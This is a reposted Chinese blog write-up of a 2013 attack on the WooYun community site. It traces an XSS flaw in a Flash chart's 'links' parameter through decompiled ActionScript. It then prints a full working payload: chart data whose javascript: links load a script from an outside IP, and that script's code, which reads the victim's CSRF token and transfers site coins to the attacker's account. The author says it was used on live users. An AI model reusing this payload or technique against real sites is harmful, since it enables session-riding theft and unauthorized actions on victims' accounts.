博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
闲扯下午引爆乌云社区“盗窃”乌云币事件
阅读量:6289 次
发布时间:2019-06-22

本文共 4682 字,大约阅读时间需要 15 分钟。

心伤的胖子 · 2013/07/30 21:56

起因


请各位看官看这里:

斗胆分析下漏洞细节,在 上面反编译该 flash 代码。

搜索,配置文件是通过 data 参数传入进去的,搜索 _root.data,找到如下代码:

#!as3var lv = new LoadVars();lv.onLoad = LoadVarsOnLoad;lv.make_chart = make_chart;lv.make_pie = make_pie;if (_root.data == undefined) {    if (_root.variables == undefined) {        _root.data = "C:\\Users\\John\\Documents\\flash\\svn\\data-files\\data-47.txt";        lv.load(_root.data);    } else {        _root.LoadVarsOnLoad = LoadVarsOnLoad;        _root.LoadVarsOnLoad(true);    }} else {    lv.load(_root.data);}复制代码

通过 LoadVars 载入的,LoadVars 载入的数据是以 & 符号分割的,载入完成调用 LoadVarsOnLoad 函数。跟进去看代码

#!as3function LoadVarsOnLoad(success) {    if (!success) {        _root.loading.done();        _root.oops(_root.data);        return(undefined);    }    if (_root.oops != undefined) {        removeMovieClip("oops");    }    for (i in _root) {        if (typeof(_root[i]) == "movieclip") {            removeMovieClip(_root[i]);        }        delete i;    }    _root.css = new Css("margin-top: 30;margin-right: 40;");    NumberFormat.getInstance(this);    NumberFormat.getInstanceY2(this);    _root._background = new Background(this);    if (this.pie != undefined) {        this.make_pie();    } else {        this.make_chart();    }    if (this.tool_tip != undefined) {        _root.tool_tip_wrapper = this.tool_tip.replace("#comma#", ",");    }    _root.loading.done();    _root.move();}复制代码

看下面,如果外部数据中有 pie ,就调用 this.make_pie()。

#!as3if (this.pie != undefined) {        this.make_pie();}复制代码

搜索 make_pie 这个函数看代码,有如下,调用了 new PieStyle(this, "pie");

#!as3function make_pie() {    _root._pie = new PieStyle(this, "pie");    _root._title = new Title(this);}复制代码

继续跟进去,在这个类中的初始化函数最开始有 links = lv.links.split(","); ,lv.links 从外部传入通过 split 后放入 links ,最后调用了 set_values(_local6),继续看 set_values 函数,有如下代码:

#!as3function set_values(v) {    super.set_values(v);    pie_mcs = new Array(values.length);    var _local4 = 0;    while (_local4 < values.length) {        var _local5 = _root.createEmptyMovieClip((name + "_") + _local4, _root.getNextHighestDepth());        _local5.onRollOver = function () {            ChartUtil.FadeIn(this, true);        };        _local5.onRollOut = function () {            ChartUtil.FadeOut(this);        };        if (links.length > _local4) {            _local5._ofc_link = links[_local4];            _local5.onRelease = function () {                trace(this._ofc_link);                getURL (this._ofc_link);            };        }        var _local6 = {x_label:labels[_local4], value:values[_local4], key:"??"};        _local5.tooltip = _local6;        pie_mcs[_local4] = _local5;        _local4++;    }    valPos();}复制代码

这个函数是关键,遍历 links,然后放入 getURL 中,因为 getURL 这里是可以执行 js 代码的。

利用


既然可以 xss,那就可以绕过 token 机制,对 wooyun 的业务进行操作了,先来看下如何构造远程数据。看如下代码:

&title=腾讯高危漏洞一览表(点击类别可以查看详情),{font-size:18px; color: #d01f3c}&&x_axis_steps=1&&y_ticks=50,50&&line=2,#87421F&&y_min=0&&y_max=20&&pie=60,#E4F0DB,{display:none;},1,,1&&values=50,50&&pie_labels=远程命令执行,腾讯客户端溢出&&colours=#d01f3c,#356aa0&&links=javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);,javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);&&tool_tip=类别%3A+%23x_label%23%3Cbr%3E比例%3A+%23val%23%25&复制代码

起了个很响亮的标题明“腾讯高危漏洞一览表(点击类别可以查看详情)”,让看到的很很有欲望点击中间的圆圈圈有木有,链接写成

javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);复制代码

加载我们的 js 文件。

js 文件的代码如下:

#!javascript/* * ajax */ajax = function(url, params, callback) {    (params instanceof Function) && (callback = params, params = void(0));    var XHR = (window.XDomainRequest) || window.XMLHttpRequest || (function() {        return new ActiveXObject('MSXML2.XMLHTTP')    });    var xhr = new XHR();    xhr.open(params ? 'post' : 'get', url);    xhr.withCredentials = true;    try {        params && xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded');    } catch (e) {}    callback && (xhr.onreadystatechange = function() {        (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(this, arguments);    });    xhr.send(params);};ajax("http://www.wooyun.org/user.php?action=update", function(){    var token = this.responseText.match(/token" value=\"(.+?)\"/)[1]    ajax("http://www.wooyun.org/user.php?action=coin&do=action_submit", "token=" + token + "&to_whitehat=xsser&to_coin=1");})复制代码

借用 sogili xss.js 中的 ajax 代码,先获取当前用户的 token,然后再进行转账操作。

效果


来找个实战的地方,发到 wooyun,见这里:

后续


其实我没想到这么多人中招的,本来抱着娱乐的目的玩玩的,看来好多人情绪很高涨,在这里先对各位抱个歉。

转载地址:http://vtcta.baihongyu.com/

你可能感兴趣的文章
C# 实现抓取网页内容(一)
查看>>
golang中并发sync和channel
查看>>
margin重叠与line-height属性
查看>>
服务器跟PC机的区别(转)
查看>>
Java核心技术之基础知识
查看>>
读书笔记_写给自学者的入门指南 >博客园||知识库
查看>>
iOS应用之间的跳转与数据传递
查看>>
CCleaner使用说明
查看>>
NOIP专题复习3 图论-强连通分量
查看>>
hdu Dragon Balls
查看>>
java代码-----indexOf()方法--从字符串的某个字符的第一次出现的位子开始
查看>>
java代码=====实现修改while()
查看>>
python (11)文件的读写 按行读文件
查看>>
Python 结巴分词(2)关键字提取
查看>>
python异常处理,日志处理
查看>>
MySQL字符集问题
查看>>
node服务器端模块化-commomjs
查看>>
20165330 2017-2018-2 《Java程序设计》第7周学习总结
查看>>
[转] css选择器中:first-child与:first-of-type的区别
查看>>
大数据基础2
查看>>